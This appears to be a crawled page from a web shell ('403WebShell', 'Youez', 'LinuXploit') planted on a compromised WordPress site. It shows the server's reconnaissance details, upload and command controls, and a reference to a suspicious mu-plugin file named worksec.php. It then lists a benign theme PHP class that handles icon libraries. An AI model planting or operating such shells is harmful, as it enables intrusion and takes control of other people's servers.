Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/themes/plover/core/src/Assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/themes/plover/core/src/Assets//PrimitiveIconSource.php
<?php

namespace Plover\Core\Assets;

use Plover\Core\Assets\Contract\IconSource;
use Plover\Core\Toolkits\Format;

/**
 * @since 1.0.0
 */
class PrimitiveIconSource implements IconSource {

	/**
	 * Cached libraries.
	 *
	 * @var null
	 */
	protected $libraries = null;

	/**
	 * Get a library.
	 *
	 * @param $slug
	 *
	 * @return mixed|null
	 */
	public function get_library( $slug ) {
		$libraries = $this->get_primitive_libraries();
		foreach ( $libraries as $library ) {
			if ( isset( $library['slug'] ) && $library['slug'] === $slug ) {
				return $library;
			}
		}

		return null;
	}

	/**
	 * Get primitive libraries.
	 *
	 * @return mixed|null
	 */
	public function get_libraries() {
		$libraries = array_map( function ( $library ) {
			if ( ! is_array( $library ) || ! isset( $library['slug'] ) ) {
				return null;
			}

			return array(
				'name' => isset( $library['name'] ) ? $library['name'] : $library['slug'],
				'slug' => $library['slug'],
			);

		}, $this->get_primitive_libraries() );

		return array_filter( $libraries );
	}

	/**
	 * Get all icons from library.
	 *
	 * @param $library
	 *
	 * @return array|mixed|null
	 */
	public function get_icons( $library ) {
		$library_data = $this->get_library( $library );
		if ( ! $library_data ) {
			return null;
		}

		$icons = isset( $library_data['icons'] ) ? $library_data['icons'] : [];

		return array_filter( array_map( [ $this, 'sanitize_icon' ], $icons ) );
	}

	/**
	 * Get specific icon from a library.
	 *
	 * @param $library
	 * @param $slug
	 *
	 * @return mixed|null
	 */
	public function get_icon( $library, $slug ) {
		$icons = $this->get_icons( $library );
		if ( is_array( $icons ) ) {
			foreach ( $icons as $icon ) {
				if ( isset( $icon['slug'] ) && $icon['slug'] === $slug ) {
					return $icon['svg'] ?? null;
				}
			}
		}

		return null;
	}

	/**
	 * @param $icon
	 *
	 * @return null
	 */
	public function sanitize_icon( $icon ) {
		if ( ! is_array( $icon ) || ! isset( $icon['slug'] ) ) {
			return null;
		}

		$icon['svg'] = isset( $icon['svg'] ) ? Format::sanitize_svg( $icon['svg'] ) : '';

		return $icon['svg'] ? $icon : null;
	}

	/**
	 * Get primitive libraries.
	 *
	 * @return mixed|null
	 */
	protected function get_primitive_libraries() {
		if ( ! $this->libraries ) {
			$this->libraries = apply_filters( 'plover_core_icon_primitive_libraries', [] );
		}

		return $this->libraries;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit